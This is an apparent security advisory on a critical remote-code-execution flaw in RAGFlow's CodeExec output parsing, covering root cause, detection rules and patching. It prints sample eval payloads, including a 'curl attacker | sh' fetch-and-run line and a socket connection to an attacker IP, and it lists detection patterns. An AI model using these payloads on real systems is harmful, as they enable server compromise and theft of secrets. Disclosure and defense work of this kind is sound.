CVE Identification
- CVE ID: CVE-2025-68700
- Product: RAGFlow
- Affected Versions: All versions prior to 0.23.0
- Fixed Version: 0.23.0
Severity & Risk Summary
- CVSS v3.1 Base Score: 9.8 (Critical)
- Severity: Critical
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (any authenticated non-admin user)
- User Interaction Required: None
- Scope: Changed (host-level impact)
Impact: Complete server takeover, equivalent to full root-level compromise depending on service permissions.
Vulnerability Classification
- Remote Code Execution (RCE)
- Improper Neutralization of Input During Dynamic Code Evaluation
- Broken Access Control
- Sandbox Escape (Logical)
Executive Summary
CVE-2025-68700 is a severe application-logic vulnerability in RAGFlow that allows any authenticated user, even without admin rights, to execute arbitrary operating system commands on the server hosting RAGFlow.
The flaw occurs because the backend executes user-controlled output using Python’s eval() function. This output is assumed to be safe, but in reality, it can be crafted by an attacker to contain malicious Python expressions.
The attack is:
- Easy to perform
- Reliable
- Repeatable
- Silent in logs unless specifically monitored
No advanced exploitation techniques are needed. Normal application usage is enough.
Technical Root Cause Analysis
Component Involved
- Canvas CodeExec backend logic
Intended Design
The backend attempts to:
- Parse execution output
- Automatically convert strings into Python objects
- Improve usability by dynamically interpreting results
Actual Behavior
- User-influenced stdout is passed directly to
eval() - No sanitization or validation occurs
- No allow-list or safe parser is used
- Evaluation occurs in the server’s Python runtime, not a sandbox
This turns execution output into executable backend code.
Why This Is a Sandbox Bypass
Although CodeExec is presented as sandboxed:
- Only the initial execution is restricted
- Result parsing is not sandboxed
Attackers do not escape the sandbox.
They let the backend execute malicious code for them.
This makes the sandbox effectively irrelevant.
Exploitation Details
Preconditions
- Valid RAGFlow user account
- No admin or elevated permissions required
- Access to Canvas CodeExec functionality
Exploitation Flow
- Attacker submits code or input to CodeExec
- Code produces crafted stdout
- Output contains malicious Python expressions
- Backend processes output
eval()executes attacker-controlled content- Commands run with RAGFlow service privileges
Conceptual Payload Examples
(Illustrative only — not exploit instructions)
__import__("os").system("whoami")
__import__("subprocess").Popen(["/bin/sh","-c","curl attacker | sh"])
__import__("socket").socket().connect(("attacker_ip",4444))
These payloads require no direct execution permission.
They rely entirely on unsafe backend evaluation.
Expanded Attack Surface
Additional backend weaknesses amplify impact:
- Internal APIs missing authentication
- Incorrect permission logic (inverted allow/deny)
- Normal users accessing privileged backend paths
- Weak isolation between components
Together, these allow:
- Privilege escalation
- Configuration tampering
- Lateral movement within the application
- Multi-step compromise chains
Post-Exploitation Capabilities
Once exploited, an attacker can:
- Execute arbitrary shell commands
- Read secrets and environment variables
- Extract API keys and credentials
- Access databases and vector stores
- Modify application logic
- Establish persistence
- Pivot to other systems
This vulnerability must be treated as full server compromise.
Detection Strategy
Application-Level Indicators
- Python exceptions involving
eval - Errors during output parsing
- Unusual execution results in CodeExec logs
- Output strings containing Python internals
Host-Level Indicators
- Python spawning shell interpreters
- Unexpected child processes
- System utilities executed from app directories
Network Indicators
- Outbound connections from RAGFlow
- Reverse shell patterns
- Traffic to unfamiliar IPs or ports
Suspicious Output Patterns
Flag execution output containing:
eval(
exec(
__import__(
os.system
subprocess
Popen
socket.connect
These should never appear in legitimate output parsing.
Detection Rule Guidance
Application Logic Alerts
Trigger when:
- User output is dynamically evaluated
- Backend invokes runtime execution during parsing
EDR / SIEM Alerts
Trigger when:
- Python launches shell binaries
- RAGFlow spawns unexpected processes
- Application initiates external network connections
Relevant Log Sources
- RAGFlow application logs
- Python runtime logs
- Web access logs
- Linux audit logs
- Process creation telemetry
- Firewall and proxy logs
MITRE ATT&CK Mapping
- T1059.006 – Command and Scripting Interpreter: Python
- T1203 – Exploitation for Client Execution
- T1068 – Privilege Escalation
- T1105 – Ingress Tool Transfer
- T1071 – Application Layer Protocol
- T1046 – Network Service Discovery
Official Remediation
Required Action
Upgrade immediately to RAGFlow 0.23.0
What the Patch Fixes
- Removes unsafe
eval()usage - Introduces safe output parsing
- Fixes broken access control logic
- Restricts internal API exposure
Official Patch Link
https://github.com/ragflow/ragflow/releases/tag/v0.23.0
Risk Assessment
Any RAGFlow deployment running a vulnerable version should be considered actively exploitable.
If the application was:
- Internet-facing
- Used by untrusted users
Then compromise must be assumed.
Credential rotation, log review, and forensic validation are strongly recommended after patching.
Final Notes
CVE-2025-68700 is a textbook example of catastrophic risk caused by unsafe dynamic evaluation in AI-driven systems.
It reinforces a critical rule:
Execution output is untrusted input and must never be evaluated as code.
This vulnerability does not rely on edge cases — it relies on normal usage — making it one of the most dangerous classes of flaws in modern AI platforms.
